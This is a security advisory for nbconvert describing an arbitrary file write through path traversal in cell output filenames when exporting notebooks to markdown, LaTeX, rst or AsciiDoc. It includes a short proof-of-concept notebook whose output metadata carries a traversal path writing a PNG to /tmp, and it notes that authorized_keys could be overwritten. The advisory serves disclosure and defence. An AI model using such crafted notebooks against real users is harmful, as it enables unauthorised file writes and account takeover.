PyPI · nbconvert
nbconvert: Arbitrary file write through path traversal in cell output filenames when exporting to md, latex, rst and asciidoc
nbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.
Vulnerable converters : --to markdown, --to latex, --to rst, --to asciidoc.
In ExtractOutputPreprocessor, extractoutput.py:116-119 joins attacker-controlled path to output_files_dir with no canonicalization check, enabling arbitrary file write.
This is a sibling vulnerability of https://github.com/advisories/GHSA-4c99-qj7h-p3vg.
If a victim runs nbconvert on a malicious ipynb file, it can create some files with arbitrary data in arbitrary locations, i.e. override authorized_keys.
Note that running the cell with jupyter overrides the output, so it would "clean up" malicious cells.
In a ipynb file:
"cells": [{
"cell_type": "code", "id": "abc123", "execution_count": 1,
"metadata": {}, "source": "# PoC",
"outputs": [{
"output_type": "display_data",
"metadata": {
"filename": "../../../tmp/PWNED.png" # ← traverses outside output_dir
},
"data": {
# minimal valid PNG (1×1 pixel)
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
}
}]
}]
Fixed in
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.